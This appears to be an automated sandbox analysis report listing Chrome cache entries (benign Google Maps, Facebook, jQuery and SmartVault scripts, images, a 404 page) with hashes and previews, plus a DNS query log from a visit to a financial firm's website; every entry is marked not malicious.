Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3255)
Category:	downloaded
Size (bytes):	232942
Entropy (8bit):	5.7015741182043245
Encrypted:	false
SSDEEP:	3072:rNyajWC4mUX1FJqNXcohD1Kj/nGPlPBskQrSlCyrqrgkHp8R:rvWbm2yc6o9kZlCGqrg2pa
MD5:	1D49332A9AE21A32DCCF340992579099
SHA1:	7A190373E111CBC15140F3F346D301F3F310E968
SHA-256:	0619BF8B5BB33CF2EB372372E3FFCD9E4D06F2B3CDAC25AFD923669DFE609092
SHA-512:	F3B2C5782E3A52BD887773639AA49B66FF4B36F69D0F3C9ED3E20A3F53DF1EF90BBEE918AF7647B6DDAB7B5B92D4A8CFA6DB7ECCC6AB256EA5958B4053E6CC93
Malicious:	false
Reputation:	low
URL:	https://maps.gstatic.com/maps-api-v3/embed/js/56/8/init_embed.js
Preview:	(function() {'use strict';function aa(){return function(){}}function da(a){return function(){return this[a]}}function ea(a){return function(){return a}}var m;function fa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ia(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ka=ia(this);function p(a,b){if(b)a:{var c=ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}}.p("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a co

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1100)
Category:	downloaded
Size (bytes):	6441
Entropy (8bit):	5.322876444604793
Encrypted:	false
SSDEEP:	48:xic7eHFfR0k3ISUDb1FluuVR0kib1Cskw94IXcJ3fm15Zw9InE5UFy1kTSPnckYO:OJZwliuH9eD8fCgzMgJncL4P
MD5:	478D58AC16EEA6F4413B9729CD915D92
SHA1:	70F3D4B16EF826995635A887F865B1588302F6D7
SHA-256:	8D0E1ED60936730D172F06367AABA00E13E94E3EF6A2D8AF75F3B3FC83C0D279
SHA-512:	C04341BDFDAFBEAFB4FF6661BDB5D0F03260112C73EADF8B0CFF4808FB6A9479B9076C8AC76CD8D073E6B0BEEDBC549798A57341C9736E2F55764FFBAD15DEB3
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3imd04/yI/l/en_US/CU99zAcu0qP.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometPhotoPermalinkRootQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6950987258340619"}),null);.__d("CometPhotoPermalinkRootQuery$Parameters",["CometPhotoPermalinkRootQuery_facebookRelayOperation","CometUFIReactionsEnableShortName.relayprovider","CometUFIShareActionMigration.relayprovider","IsMergQAPolls.relayprovider","IsWorkUser.relayprovider","StoriesArmadilloReplyEnabled.relayprovider"],(function(a,b,c,d,e,f){"use strict";a={kind:"PreloadableConcreteRequest",params:{id:b("CometPhotoPermalinkRootQuery_facebookRelayOperation"),metadata:{},name:"CometPhotoPermalinkRootQuery",operationKind:"query",text:null,providedVariables:{__relay_internal__pv__IsWorkUserrelayprovider:b("IsWorkUser.relayprovider"),__relay_internal__pv__IsMergQAPollsrelayprovider:b("IsMergQAPolls.relayprovider"),__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider:b("CometUFIReactionsEnableShortName.relayprovider"),__relay_internal__pv__CometUFIShareActionMi

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x313, components 3
Category:	dropped
Size (bytes):	26276
Entropy (8bit):	7.972065534704592
Encrypted:	false
SSDEEP:	768:0yeC7+AWHx2IMI1wROAiW10XHQzpeSo+k3tGYUYPWi:0y9qAWHflFgzptTstFUri
MD5:	085ABACB35E86C1B6CAC58D63F087BD1
SHA1:	F9B391C2F4544228449C9CE9F10E0A50E050976B
SHA-256:	B20D06F870A0E90E030E9EE1DC479A117E4B9BD3CCAD625408B25BBA915A4FA4
SHA-512:	78C7B1E221EDA30F410846D4C396EAFBD108102BE5D56850503EAB911728D574ED68E941A11709EC4AF9BC17CF0C58C332E9461B507D99CC0743B8B06D63BAAE
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................9...."...............................................................................s...%V.../..................&.....p....c.#..g..J....w..U....[9.5SR...B.Y.}%.E46Q5# .f....g]w..`.....@....+.n=-..;.. ......K..o?UVIkd....@...:F;.V...../...md.g-.....R.W...<n.s...w;.d...l..J..ywM.=.z....m.C G.............JX<...Yd..K8=.26jI...a+....F\.O...Y..6....t.}y...K..[.....-..!..$F.-.v/2y..K..gR...5E.t..,5.k..z..>@.........U)a6.\|.WU%m..]x.....^..L9........m%.+b.5&..U.9.Y.d....L.`...(:1.....B.O.>k...1P.`.2...............~.we.zN.....u..yi......3...s`...O......I}b.%^W.s....;u..9.d.s..*.T.zX...e...cP.......zR.1.[..........0d.XW........VTX6...z....5..z.'.Wo=8...8G.".y".L.d.F.dF.B.fG.\|...h.....`.#$op...z5.D../W:r.n......Q.x...%_.:.v:.S!..<.....>}^;.0..t;...r..'......^..-..fo..>......h.1.y.]sr.0...z...e7.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.688532577858027
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5r8INGlTF5TF5TF5TF5TF5TFK:neRH68DTPTPTPTPTPTc
MD5:	370E16C3B7DBA286CFF055F93B9A94D8
SHA1:	65F3537C3C798F7DA146C55AEF536F7B5D0CB943
SHA-256:	D465172175D35D493FB1633E237700022BD849FA123164790B168B8318ACB090
SHA-512:	75CD6A0AC7D6081D35140ABBEA018D1A2608DD936E2E21F61BF69E063F6FA16DD31C62392F5703D7A7C828EE3D4ECC838E73BFF029A98CED8986ACB5C8364966
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/favicon.ico
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	20439
Entropy (8bit):	5.09070952060613
Encrypted:	false
SSDEEP:	384:/AIRziUfhc/GMk/DbqJ2nvwgPl0ky/SueMrdHWHrmxaNpGVie7nmGPrZsj:3J4Fk7bnIrkkkdj
MD5:	13D3B1F582D5F68E389BBE7A25FD5FBC
SHA1:	556C64FC170A043D272F24D9DC77EE3F29DD4543
SHA-256:	22B36B96A09EA2192ABB96C909E76AB32948C08AA57D83128ACE1AC9B5A9F935
SHA-512:	E598B97B1074E77461DB8E017FCE671F0ECA9D4715E5DA44399DD8A65AFADCB76FD624D64F59B77070216217CB74D72805CF2FE3CDB30D574F3B2475C0D5A627
Malicious:	false
Reputation:	low
URL:	https://rollout.ada.support/smartvault/client.json?ada_request_origin=embed
Preview:	{"cache_version": "v2", "handle": "smartvault", "name": "smartvault", "rollout": 1.0, "alternative_bot": null, "chatEnabled": true, "chat": true, "persistence": "session", "tint": "#7B005F", "language": "en", "translated_languages": [], "features": {"ada_glass_zendesk": true, "authentication": true, "conditionals": true, "personalization": true, "language_detection": false, "translations": true, "redactions": true, "satisfaction": true, "predictive_suggestions": true, "end_chat": true, "zendesk_file_transfer": true, "forced_quick_replies": true, "no_branding": true, "live_chat_handoff": false, "zendesk_client": false, "liveperson_client": false, "segmentation": true, "variable_set_block": true, "selection": true, "ada_glass_nuance": false, "ada_glass_salesforce": true, "limit_login_attempts": false, "password_expiry": false, "enforce_mfa": false, "zendesk_ticketing": true, "builder_bot": true, "client_timezone_tracking": false, "airasia_validation_types": false, "channel_smooch": false

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42219)
Category:	downloaded
Size (bytes):	900838
Entropy (8bit):	5.208760776816397
Encrypted:	false
SSDEEP:	3072:hMYVmDeBRZQgMMkBxNuH/YFPHTDokHRRuwkWGzMXsUfXEPLtvvoSrftKzr4n0vX2:7VmSBQgOcwFb0sZB+UfXeBfyltFg
MD5:	E05D637CF2758CD3715A3E800011D88B
SHA1:	CB6C78449F7E4582440A26D50FE4C199E348D07A
SHA-256:	54353D262DA2256A68670ACF71EF881CC3AC317F29CC060C571F7758B950EFCA
SHA-512:	A9EC474C1746482095E5460B38FA99A4F5F057684BC4C8BEB4EF6A1B6AFA3FD2790E14B80EA6A85166D7A7E22A1B9BD01FC6AB6819F3AB632B2FF452F9B1FA3C
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3id5d4/yS/l/en_US/8THafi6q9GdpQ-QvLDPbL7c22qUA9VY4-m6uLQCuTojhRw83TsroxGFQKvKXSIdAqsCN6hpHVMyJl4UpY82FpGVURJ3hHM37aNVVtwoC8TAEQ4MfFrM7_FIJA8WHHGPNLzXcDiv5SPZN5urt1HvL9YbQDWJTi7d4N5wiQsGMxCFFoEtz8Gx6F23J_Tj.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometFeedStoryAttachmentRendererInnerThrowback_attachment.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"renderLocation"}],kind:"Fragment",metadata:null,name:"CometFeedStoryAttachmentRendererInnerThrowback_attachment",selections:[{alias:"throwbackStyles",args:[{kind:"Variable",name:"render_location",variableName:"renderLocation"},{kind:"Literal",name:"supported",value:"3eKzDk"}],concreteType:null,kind:"LinkedField",name:"style_type_renderer",plural:!1,selections:[{kind:"InlineFragment",selections:[{args:null,documentName:"CometFeedStoryAttachmentRendererInnerThrowback_attachment",fragmentName:"CometFeedStoryGoodwillSharedAttachmentStyle_styleTypeRenderer",fragmentPropName:"styleTypeRenderer",kind:"ModuleImport"}],type:"StoryAttachmentGoodwillSharedStyleRenderer",abstractKey:null}],storageKey:null}],type:"StoryAttachment",abstractKey:null};e.exports=a}),null);.__d("CometFeedStoryAttachmentRendererInner_attachmen

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	8194
Entropy (8bit):	7.9026014126939526
Encrypted:	false
SSDEEP:	192:a/BpFUytn8ZlXBoecLMRH/u1c8eB/MKzAFPlgbMs0cMwCIs:cphtnClxo+RW1k9M9PlgYLIe
MD5:	C0F3114DD6BF159D5424951FF34648E8
SHA1:	1BD4FDBB5C2046E16E9107ABD8FC7E14636ED2F4
SHA-256:	53D10BAAD0E36BCFBADD223BC107020D219784467DDDFB46480E903C9935C3EC
SHA-512:	7203DE3718BDE61DC1B17CB809658B9122EDFE252D62B2753DDD8A4CBC9B3950C0E9BEFAB10E21A5C41B26065C37CFE3AA8853A2FDFDB88981F2A366AE17D1FE
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100004403000094060000220700000f080000430d0000ad13000029140000e8140000e015000002200000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..............................................................................w...+..3N.I&.@.pQ.Md.).8Oa...0.y.-.].%...->c.'e6.!......9......E,\..0Z....EUF.&..>.....'..U\|...;....v/_...L........8.yN..6.1+W..c. ..B.l.BD.^T..t..9..&.!8.k1......g.....a[.-;..*..,.4Wn@.......L......k...VYT.Y..+.4.p.qJ...tX.2:#"J.S....j(}..u.v....x...^.M.{.9.g.Q.._.r.........;...i...F...0[.'...n.j...~.i.4{j...B..x..aE....wx..+k.b..&]....._)y?@..1..t..3&.<a..9\|U;.i..d-q...8..I.$.t.4.....+............................!"# .012$@3AC..........u.....E.^....a.B[".sa9.Je..-...V..K.....2....5.!u.R....t.j<.K,.a.....y..U.u1....d......T...]m..}...=.....:.h............"...UE\Z.I.o.(.~.{.E}$

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	87553
Entropy (8bit):	5.262620498676155
Encrypted:	false
SSDEEP:	1536:0RUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKO:sHNwcv9VBQpLl88SMBQ47GKO
MD5:	826EB77E86B02AB7724FE3D0141FF87C
SHA1:	79CD3587D565AFE290076A8D36C31C305A573D18
SHA-256:	CB6F2D32C49D1C2B25E9FFC9AAAFA3F83075346C01BCD4AE6EB187392A4292CF
SHA-512:	FC79FDB76763025DC39FAC045A215FF155EF2F492A0E9640079D6F089FA6218AF2B3AB7C6EAF636827DEE9294E6939A95AB24554E870C976679C25567AD6374C
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	322
Entropy (8bit):	4.647639206148959
Encrypted:	false
SSDEEP:	6:rDYU7J8mgO9l3LWvmwBwE1txIauo/Cfj+1WAijQLbDRWUkEsto9a:rMru3ivcE1vIiE+cefDRWUkEoo9a
MD5:	FBA13511CBE38BF656F704040A666EF2
SHA1:	D43B29C8F856AD96DF00F3685608661DA2076DCA
SHA-256:	CE0FA13547E674818F20601ED52025A565E7A25BBE8D6A5AB99E3CBE0D7F4D8C
SHA-512:	95AE62A37B368CB7820654C8BB1009EB66DE857B7923A5714B099C88802B7E2444EEE0CD8142FA861137B0C5388552ACAC46F9DDBC1F8602AFB00C198A63A8B5
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/secure/Intercom.ashx
Preview:	(.. function () {.. var s = document.createElement('script');.. s.id = "__ada";.. s.setAttribute('data-handle', 'smartvault');.. s.src = 'https://static.ada.support/embed2.js';.. var x = document.getElementsByTagName('script')[0];.. x.parentNode.insertBefore(s, x);.. }..)()

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	1250
Entropy (8bit):	4.910679444806685
Encrypted:	false
SSDEEP:	24:Ja4HA+xexzyp3x05Zo7j3UET3Mu3Mq783LRRIGRRtHRRsNg:4Ixexyd+5ozMOM2QLxJHAq
MD5:	3D4092F16D79A21B89C615D64B42D8F9
SHA1:	6E8822BCA32C0598A88CF1ED602C0CDB9B964E7B
SHA-256:	B93B5A0B774EEE8743A41EF1329717882E09ED8DCEECBFDB57FB0DAEEC8BE8E6
SHA-512:	454F00CEA5925DA3CED64F56824FF820BEE2E9C0CE437DF681ECCBAA345E9445BBF7E85D580661F51AC1316101DF611A9A084D9FFD9AB28F57D1D0C5FD5C896F
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/js/PasswordStrength.js
Preview:	.function password_strength(password) {.... var desc = new Array();.. desc[0] = "";.. desc[1] = "Too short";.. desc[2] = "Weak";.. desc[3] = "Better";.. desc[4] = "Medium";.. desc[5] = "Strong";.. desc[6] = "Optimal";.... var points = 0;.... //---- if password is bigger than 4 , give 1 point... if (password.length >= 1) points++;.... if (password.length > 11) {... points += 1;... .. //---- if password has both lowercase and uppercase characters , give 1 point.... if (password.match(/[a-z]/)) points++;.. if (password.match(/[A-Z]/)) points++;.... //---- if password has at least one number , give 1 point... if (password.match(/\d+/)) points++;.... //---- if password has at least one special caracther , give 1 point... if (password.match(/.[!,@,#,$,%,^,&,*,?,_,~,-,(,)]/)) points++;.. }.. //---- Showing description for password strength... document.getElementById("password_description").i

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2395)
Category:	downloaded
Size (bytes):	74102
Entropy (8bit):	5.46822581525856
Encrypted:	false
SSDEEP:	1536:ZEp0rZDQr2Sem1nZwWmGdN/AX4qoT3YtQnNaqqHs6HP5LJCHQwMcm:mmrZ8r281nuWxdN/AXw3bnNaq36HP511
MD5:	8002E74931BABF8E419C3781897CE8A0
SHA1:	23A642EE111B298D73C0440A601C835DCBE27402
SHA-256:	42E6FAC8FF3F94A3766BF1724D4D5C7D8A0F360425F2C31EE56BD94D5A21BDE2
SHA-512:	5B8C3E3496D0F7DB343DEB94D3BEDBA2C24FEE4F7649F8C83CC0D5B3DD70CF6AF90DD4734F17655F77A271344614BB7EFB5F183EE8090C8C1CDF62AED615A92C
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/map.js
Preview:	google.maps.__gjsload__('map', function(_){var mka=function(a){try{return _.na.JSON.parse(a)}catch(b){}a=String(a);if(/^\s$/.test(a)?0:/^[\],:{}\s\u2028\u2029]$/.test(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029](?=:\|,\|]\|}\|$)/g,"]").replace(/(?:^\|:\|,)(?:[\s\u2028\u2029]\[)+/g,"")))try{return eval("("+a+")")}catch(b){}throw Error("Invalid JSON string: "+a);},nka=function(a){if(a.Fg){a:{a=a.Fg.responseText;if(_.na.JSON)try{var b=._.na.JSON.parse(a);break a}catch(c){}b=mka(a)}return b}},oka=function(){var a=_.ks();return _.I(a.Ig,17)},pka=function(a,b){return a.Fg?new _.Lm(b.Fg,b.Gg):_.Mm(a,_.us(_.vs(a,b)))},qka=function(a){if(!a.getDiv().hasAttribute("dir"))return!1;const b=a.getDiv().dir;return"rtl"===b?!0:"ltr"===b?!1:"rtl"===window.getComputedStyle(a.getDiv()).direction},rka=function(a,b){const c=a.length,d="string"===typeof a?a.split(""):a;for(let e=0;e<c;e++)if(e in d&&

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 321x80, components 3
Category:	downloaded
Size (bytes):	1036
Entropy (8bit):	5.765315649295521
Encrypted:	false
SSDEEP:	24:gqVDOeVyc1spsWKKMBODAkmgkXYsukmLkKGmKrC:gQOyyiWpVDAk/kI3k0kK6C
MD5:	C5182823C739B09045F83030DF743B2F
SHA1:	2D95FF249A5F0ED97A8697285B396BA48CD93F33
SHA-256:	8C08504F4BE9E469A6DE93C50EA1293C483D7043A449698840045D0CD2F92EEC
SHA-512:	7E3F5523987CB405C3C56ABE8EF86C5246084826CB675C9A9FF2632EAB6B94E3F87B143764921167A1350B9B814B24E2C25E44DE4885FFA57C0DC052030805A8
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_fb50_p110x80&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfCAZUXFttlHfrY2FVShZl7WOc0Lz1SiIRihgMXzwIIP0w&oe=663FD0B6
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6c010000110200003302000054020000750200009a020000a702000026030000470300006d0300000c040000....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......P.A..".....................................................................................(.......b%...F.........DQ...FTIDQ.F.Z.B....Qe.....@.,.....U#C-.q`.PT........T...T......KK...Y....Yae.@........Mk:Z .................................M......................`........?.S.....................`........?.S..............................?.M........................ .........?!.)...................T:......?.].......]S......../...p.Y.....>..<.......g.................... .[.........................`........?.S.....................`........?.S......................... 0........?..b..!b....X.!.X.k.z..'k..!...!....!;Z.!...~L.B...j..,Z.}.H.!.N..LL.e(.J^)JR..B..'k.D!..)D.R..)JR..!!!".....)K.

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 11, 2024 22:34:53.029011965 CEST	192.168.2.4	1.1.1.1	0xa4a	Standard query (0)	www.bfjfinancial.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:53.029145956 CEST	192.168.2.4	1.1.1.1	0xdb3e	Standard query (0)	www.bfjfinancial.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:55.486385107 CEST	192.168.2.4	1.1.1.1	0xa2a6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.486696959 CEST	192.168.2.4	1.1.1.1	0x15bb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:55.488364935 CEST	192.168.2.4	1.1.1.1	0xef26	Standard query (0)	bfjfinancial.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.488631010 CEST	192.168.2.4	1.1.1.1	0xf8f1	Standard query (0)	bfjfinancial.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:55.489301920 CEST	192.168.2.4	1.1.1.1	0xfc29	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.489746094 CEST	192.168.2.4	1.1.1.1	0x1dfb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:55.672533989 CEST	192.168.2.4	1.1.1.1	0xf541	Standard query (0)	www.bfjfinancial.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.673002005 CEST	192.168.2.4	1.1.1.1	0x2ddc	Standard query (0)	www.bfjfinancial.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:55.828991890 CEST	192.168.2.4	1.1.1.1	0xd26	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:55.829615116 CEST	192.168.2.4	1.1.1.1	0x4cbc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:34:57.003226042 CEST	192.168.2.4	1.1.1.1	0x9d2a	Standard query (0)	welcome.visionaryyouth.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:34:57.125880003 CEST	192.168.2.4	1.1.1.1	0x7a5f	Standard query (0)	welcome.visionaryyouth.org	65	IN (0x0001)	false
Apr 11, 2024 22:35:01.288137913 CEST	192.168.2.4	1.1.1.1	0x42b4	Standard query (0)	maps.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:01.288485050 CEST	192.168.2.4	1.1.1.1	0xa787	Standard query (0)	maps.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:20.767030001 CEST	192.168.2.4	1.1.1.1	0x8ad6	Standard query (0)	brokercheck.finra.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:20.767353058 CEST	192.168.2.4	1.1.1.1	0x8ead	Standard query (0)	brokercheck.finra.org	65	IN (0x0001)	false
Apr 11, 2024 22:35:21.498703957 CEST	192.168.2.4	1.1.1.1	0x6ba8	Standard query (0)	4eb97633b8b43872.cbridgert.vhtcloud.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:21.504882097 CEST	192.168.2.4	1.1.1.1	0x8a4f	Standard query (0)	4eb97633b8b43872.cbridgert.vhtcloud.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:21.513242006 CEST	192.168.2.4	1.1.1.1	0x3a23	Standard query (0)	static.support.finra.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:21.513432980 CEST	192.168.2.4	1.1.1.1	0x7f17	Standard query (0)	static.support.finra.org	65	IN (0x0001)	false
Apr 11, 2024 22:35:22.957331896 CEST	192.168.2.4	1.1.1.1	0xb167	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:22.957496881 CEST	192.168.2.4	1.1.1.1	0x3d6a	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:23.074675083 CEST	192.168.2.4	1.1.1.1	0xe1cc	Standard query (0)	brokercheck.finra.org	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.075090885 CEST	192.168.2.4	1.1.1.1	0x8cff	Standard query (0)	brokercheck.finra.org	65	IN (0x0001)	false
Apr 11, 2024 22:35:23.428617954 CEST	192.168.2.4	1.1.1.1	0xc323	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.428879976 CEST	192.168.2.4	1.1.1.1	0x8d90	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:23.429573059 CEST	192.168.2.4	1.1.1.1	0x8dbd	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:23.429712057 CEST	192.168.2.4	1.1.1.1	0xf99b	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:24.008987904 CEST	192.168.2.4	1.1.1.1	0xcbd6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:24.009100914 CEST	192.168.2.4	1.1.1.1	0xe625	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:27.057689905 CEST	192.168.2.4	1.1.1.1	0xa80e	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:27.057892084 CEST	192.168.2.4	1.1.1.1	0x24a5	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:27.979929924 CEST	192.168.2.4	1.1.1.1	0xcffb	Standard query (0)	static.licdn.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:27.980156898 CEST	192.168.2.4	1.1.1.1	0x3a37	Standard query (0)	static.licdn.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:28.497245073 CEST	192.168.2.4	1.1.1.1	0x69a	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:28.498945951 CEST	192.168.2.4	1.1.1.1	0x9c91	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Apr 11, 2024 22:35:29.626730919 CEST	192.168.2.4	1.1.1.1	0x5697	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:29.626971006 CEST	192.168.2.4	1.1.1.1	0x3238	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:29.647258997 CEST	192.168.2.4	1.1.1.1	0xc278	Standard query (0)	scontent.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:29.647970915 CEST	192.168.2.4	1.1.1.1	0x36ef	Standard query (0)	scontent.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:29.652261019 CEST	192.168.2.4	1.1.1.1	0x8de1	Standard query (0)	video.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:29.653069973 CEST	192.168.2.4	1.1.1.1	0xfef6	Standard query (0)	video.xx.fbcdn.net	65	IN (0x0001)	false
Apr 11, 2024 22:35:32.070503950 CEST	192.168.2.4	1.1.1.1	0xbd72	Standard query (0)	scontent-lga3-2.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Apr 11, 2024 22:35:32.070704937 CEST	192.168.2.4	1.1.1.1	0x55c	Standard query (0)	scontent-lga3-2.xx.fbcdn.net	65	IN (0x0001)	false
